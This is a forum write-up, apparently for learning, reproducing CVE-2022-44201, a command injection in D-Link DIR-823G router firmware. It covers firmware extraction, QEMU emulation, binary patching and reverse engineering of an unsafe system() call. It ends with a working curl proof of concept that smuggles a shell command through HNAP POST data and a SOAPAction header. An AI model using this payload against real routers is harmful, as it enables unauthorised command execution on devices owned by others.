首页
社区
课程
招聘
[原创] CVE-2022-44201 命令注入漏洞 (含固件修复)
2024-3-23 16:21 3336

[原创] CVE-2022-44201 命令注入漏洞 (含固件修复)

2024-3-23 16:21
3336

1 准备工作

1.1 提取固件

1
2
3
┌──(root㉿W1sh)-[~/leamov/CVE-2022-44201]
└─# binwalk -Me DIR823G_V1.0.2B05_20181207.bin  --run-as=root
...

1.2 使用qemu-system仿真运行

环境: qemu-system-mipsel

1
2
3
┌──(root㉿W1sh)-[/mnt/e/LeaMov/workspace/IOT/2.CVE-2022-44201]
└─# scp -r -O _DIR823G_V1.0.2B05_20181207.bin.extracted/squashfs-root/ root@192.168.2.2:/root/
...
1
2
root@debian-mipsel:~/squashfs-root# ls
bin  dev  etc  home  init  lib  mnt  proc  sys  usr  var  web  web_mtn

1.2.1 查看系统服务

1
2
# ls /etc/init.d/
rcS     rcS_GW
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
# cat /etc/init.d/rcS
#!/bin/sh
 
ifconfig lo 127.0.0.1
 
CINIT=1
 
hostname rlx-linux
 
mount -t proc proc /proc
mount -t ramfs ramfs /var
if [ -d "/hw_setting" ];then
    mount -t yaffs2 -o tags-ecc-off -o inband-tags /dev/mtdblock1 /hw_setting
fi
 
mkdir /var/tmp
mkdir /var/web
mkdir /var/log
mkdir /var/run
mkdir /var/lock
mkdir /var/system
mkdir /var/dnrd
mkdir /var/avahi
mkdir /var/dbus-1
mkdir /var/run/dbus
mkdir /var/lib
mkdir /var/lib/misc
mkdir /var/home
mkdir /var/root
mkdir /var/tmp/net
###for tr069
mkdir /var/cwmp_default
mkdir /var/cwmp_config
 
if [ ! -f /var/cwmp_default/DefaultCwmpNotify.txt ]; then
        cp -p /etc/DefaultCwmpNotify.txt /var/cwmp_default/DefaultCwmpNotify.txt 2>/dev/null
fi
##For miniigd
mkdir /var/linuxigd
cp /etc/tmp/pics* /var/linuxigd 2>/dev/null
 
##For pptp
mkdir /var/ppp
mkdir /var/ppp/peers
 
#smbd
mkdir /var/config
mkdir /var/private
mkdir /var/tmp/usb
 
#snmpd
mkdir /var/net-snmp
 
cp /bin/pppoe.sh /var/ppp/true
echo "#!/bin/sh" > /var/ppp/true
#echo "PASS"     >> /var/ppp/true
 
#for console login
cp /etc/shadow.sample /var/shadow
 
#for weave
cp /etc/avahi-daemon.conf /var/avahi
 
#extact web pages
cd /web
#flash extr /web
cd /
 
mkdir -p /var/udhcpc
mkdir -p /var/udhcpd
cp /bin/init.sh /var/udhcpc/eth0.deconfig
echo " " > /var/udhcpc/eth0.deconfig
cp /bin/init.sh /var/udhcpc/eth1.deconfig
echo " " > /var/udhcpc/eth1.deconfig
cp /bin/init.sh /var/udhcpc/br0.deconfig
echo " " > /var/udhcpc/br0.deconfig
cp /bin/init.sh /var/udhcpc/wlan0.deconfig
echo " " > /var/udhcpc/wlan0.deconfig
 
if [ "$CINIT" = 1 ]; then
startup.sh
fi
 
# for wapi certs related
mkdir /var/myca
# wapi cert(must done before init.sh)
cp -rf /usr/local/ssl/* /var/myca/ 2>/dev/null
# loadWapiFiles >/dev/null 2>&1
 
# for wireless client mode 802.1x
mkdir /var/1x
cp -rf /usr/1x/* /var/1x/ 2>/dev/null
mkdir /var/openvpn
cp -rf /usr/share/openvpn/* /var/openvpn 2>/dev/null
#---------------------------------------------------------------------------
SHARE_WIFI_DISABLE=`flash get WLAN1_VAP3_WLAN_DISABLED`
if [ "$SHARE_WIFI_DISABLE" = "WLAN1_VAP3_WLAN_DISABLED=0" ];then
        flash set WLAN1_VAP3_WLAN_DISABLED 1
fi
#---------------------------------------------------------------------------
# Start system script
init.sh gw all
 
# modify dst-cache setting
echo "24576" > /proc/sys/net/ipv4/route/max_size
echo "180" > /proc/sys/net/ipv4/route/gc_thresh
echo 20 > /proc/sys/net/ipv4/route/gc_elasticity
# echo 35 > /proc/sys/net/ipv4/route/gc_interval
# echo 60 > /proc/sys/net/ipv4/route/secret_interval
# echo 10 > /proc/sys/net/ipv4/route/gc_timeout
 
# echo "4096" > /proc/sys/net/nf_conntrack_max
echo "12288" > /proc/sys/net/netfilter/nf_conntrack_max
echo "600" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established
echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_time_wait
echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_close
echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout
echo "120" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout_stream
echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_generic_timeout
# echo "1048576" > /proc/sys/net/ipv4/rt_cache_rebuild_count
echo "32" > /proc/sys/net/netfilter/nf_conntrack_expect_max
 
# modify IRQ Affinity setting
echo "3" > /proc/irq/33/smp_affinity
 
#echo 1 > /proc/sys/net/ipv4/ip_forward #don't enable ip_forward before set MASQUERADE
#echo 2048 > /proc/sys/net/core/hot_list_length
 
# start web server
ls /bin/watchdog > /dev/null && watchdog 1000&
#boa
 
goahead &
 
#Turn off the power led of orange
echo "29" > /sys/class/gpio/export
echo "out" > /sys/class/gpio/gpio29/direction
echo "1" > /sys/class/gpio/gpio29/value
#Turn on the power led of green
echo "30" > /sys/class/gpio/export
echo "out" > /sys/class/gpio/gpio30/direction
echo "0" > /sys/class/gpio/gpio30/value
 
cp /etc/passwd_orig /var/passwd
cp /etc/group_orig /var/group
MODE=`flash get HW_FACTORY_MODE`
if [ "$MODE" = "HW_FACTORY_MODE=1" ];then
telnetd&
fi
#telnetd&
ifconfig wlan1-va3 down
speedcheck&
#wiair_client&

根据文件 rcS 可以知道使用了下述命令启动web服务

1
2
3
4
5
# start web server
ls /bin/watchdog > /dev/null && watchdog 1000&
#boa
 
goahead &

现在尝试运行

1
2
3
4
# goahead
Debug: Goahead start
# Read hw setting header failed!
Invalid hw setting signature [sig=]!

启动失败了

1.3 修复固件运行环境

用用户模式运行程序然后到IDA里调试分析

1
2
┌──(root㉿W1sh)-[~/leamov/CVE-2022-44201/extracted/squashfs-root]
└─# chroot . ./qemu-mipsel-static -g 23946 ./bin/goahead

main函数里调用了daemmon函数,然后就挂了,直接nop掉

1
2
3
38 09 10 0C                   jal     daemon
↓↓ ↓↓ ↓↓ ↓↓                   ↓↓      ↓↓↓↓↓↓
00 00 02 24                   li      $v0, 0

关于 daemon()
这个函数是为了启动一个后台进程,内部调用了fork实现,子程序启动成功后父进程就会退出

1.3.1 Patch apmib_init()

所以daemon()不是真正导致错误的原因,继续单步最后找到函数apmib_init(),它才是真正导致崩溃的原因,直接过掉

1
84 07 10 0C                   jal     apmib_init
1
2
3
84 07 10 0C                   jal     apmib_init
↓↓ ↓↓ ↓↓ ↓↓                   ↓↓      ↓↓↓↓↓↓
01 00 02 24                   li      $v0, 1

1.3.2 Patch 其它检查或者初始化函数

这里有个检查pid然后退出程序的,过掉

1
2
3
33 8F 10 0C                   jal     getPidFile
↓↓ ↓↓ ↓↓ ↓↓                   ↓↓      ↓↓↓↓↓↓
01 00 02 24                   li      $v0, 1

再启动试试

1
2
3
# goahead-patches
Debug: Goahead start
Segmentation fault

调试发现是因为打开了个设备文件,没有检查是否打开成功就直接调用fseek导致

1
2
mtd0 = fopen("/dev/mtd0", "r");
fseek(mtd0, 0x30000, 0); //Crashed!

直接nop掉然后继续

1
2
3
# ./qemu-mipsel-static bin/goahead-patches
Debug: Goahead start
goahead.c initWebs: failed to convert  to binary ip data

1.3.3 修复网络配置函数

上述错误是因为程序直接找了网络设备br0

1
2
3
4
5
6
7
sub_423E90("br0", ipStr);
//...
if ( inet_addr(ipStr) == 0xFFFFFFFF )
  {
    error("goahead.c", 0x213, 2, "initWebs: failed to convert %s to binary ip data", (const char *)ipStr);
    return 0xFFFFFFFF;
  }

但是我的网络是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿W1sh)-[~/leamov/CVE-2022-44201]
└─# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:15:5d:8a:fb:92 brd ff:ff:ff:ff:ff:ff
    inet 172.30.36.124/20 brd 172.30.47.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::215:5dff:fe8a:fb92/64 scope link
       valid_lft forever preferred_lft forever

没有名为br0的网络设备,有两个方法解决这个问题,一个是直接添加一个br0,这应该是最方便的,另一个就是把所有的br0字符串引用改成eth0的引用,这个稍微麻烦亿点,所以我们用第二个(我不熟悉网络配置-v-)

因为我没有用Ghrida,IDA没办法patch这个文件,所以只能到010Editor里去找然后修改,没找到直接就能用的eth0字符串,所以在data段找了个空白自己加上去,然后把所有br0的引用计算便宜改到eth0身上去(真的很麻烦a)

改完之后再次运行

1
2
3
4
# ./qemu-mipsel-static bin/goahead-patches
Debug: Goahead start
webs: Listening for HTTP requests at address 172.30.36.124
...

1.3.4 Patch(or Hijack) apmib_get()

终于跑起来了,但是嘛

1
2
3
4
5
6
┌──(root㉿W1sh)-[~/leamov/CVE-2022-44201]
└─# curl 172.30.36.124
curl: (52) Empty reply from server
 
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault

请求之后就挂掉了,我一遍又一遍的调试,也没找对错误发生在哪,突然我想起了我看的别人的固件修复的文章,同样是libapmib,人家还修了个apmib_get函数呢,我断到它的跳转去,单步一下,果然是因为这个,最方便(个人觉得)的解决还是直接patch,去lib下找到这个库文件让这个函数的开头直接跳转到返回

1
2
3
44 00 82 14                   bne     $a0, $v0, loc_5B18
↓↓  ↓ ↓↓ ↓↓                   ↓       ↓↓↓↓↓↓↓↓
31 01 00 10                   b       loc_5ECC

还有两个函数 apmib_set()apmib_update. 避免后续出问题,用同样的方法patch掉了

1.3.5 运行

现在启动web服务然后请求

1
2
3
4
5
6
7
8
9
10
11
# ./qemu-mipsel-static bin/goahead-patches
Debug: Goahead start
webs: Listening for HTTP requests at address 172.30.36.124
...
 
┌──(root㉿W1sh)-[~/leamov/CVE-2022-44201]
└─# curl 172.30.36.124
<html><head></head><body>
                This document has moved to a new <a href="http://172.30.36.124/Wizard.html">location</a>.
                Please update your documents to reflect the new location.
                </body></html>

图片描述

2. 漏洞复现

根据阿里云漏洞库对这个漏洞的描述,可以知道是命令注入

2.1 逆向分析

2.1.1 不安全的system调用

既然是命令注入(执行).那我们就找system() 函数的引用.然后找到了一个明显有问题的调用在函数0x42383C

1
2
3
4
5
6
if(arg[329]){
    if(strstr(arg[329],"SetMultipleActions")){
        snprintf(v17, 4999, "echo '%s' >/var/hnaplog", a11);
        system(v17);
    }
}

它将一个未经验证的参数格式化到原定命令中并将其执行

2.1.2 可控的系统命令参数

首先我们先直接在调试器里设置寄存器的值跳过那些判断,检查 一下a11是什么东西

把断点打在sprintf的调用处,然后用下面的命令请求路径

1
2
┌──(root㉿W1sh)-[~/leamov/CVE-2022-44201]
└─# curl localhost/HNAP1 -d "MyPostDataaaaaaaaaaaaa"

图片描述
和猜想的一样,是post的数据

2.1.3 绕过验证

直接使用上述的请求方式是没办法执行到system去执行命令的,看上面的伪代码就知道,还有俩判断需要绕过,但是不知道arg是什么东西,根据它的大小和现在的应用场景推断和我们的请求数据有关系,在调试器里找$ra寄存器往外分析

首先是0x40B740.这个函数对用户的请求路径做了匹配,然后分发到不同的处理函数

然后是 0x41C488...........
hum这样的方式有点复杂,既然知道可能是某个HTTP字段,那就找那个处理函数,找知道的大概率会存在的字段,像content-length

在IDA里搜索字符串content-length,然后找引用,果然找到了一个匹配提取字段内容的函数0x41D354.然后看到了这样一段代码

1
2
3
4
5
else if ( !strcmp(v25, "soapaction") )
   {
    a1[329] = sub_4036C4(v24);
    //...
   }

它把字段soapaction的内容写到了a1[329],应该就是我们要找的字段了,现在用下面的命令进行请求

1
2
┌──(root㉿W1sh)-[~/leamov/CVE-2022-44201]
└─# curl localhost/HNAP1 -H "soapaction:SetMultipleActions"

-H "soapaction:" 绕过字段内容为空判断 if(arg[329])

soapaction:SetMultipleActions 绕过字符串内容判断 if(strstr(arg[329],"SetMultipleActions"))

2.2 POC

图片描述

图片描述

1
curl localhost/HNAP1 -d "'&echo \"Hello Im In\"&'" -H "soapaction:SetMultipleActions"

3. 写在最后

这是第二次做IOT的复现,嘛说是第一次也行,感觉上一次好像没有学到太多东西,包括环境的配置了,固件修复了,各种。因为去看其它师傅的复现笔记的话,挺多还是用了firmadyne之类的工具的,我不太想上来就用因为感觉挺多东西不太理解,我也不知道那程序是怎么的就跑起来了,挺懵的就,所以还是先学习一下怎么自己解决

多有不足之处,欢迎指出:)


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2024-3-23 16:32 被LeaMov编辑 ,原因: 改错字
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 19349
活跃值: (28971)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2024-3-23 20:46
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回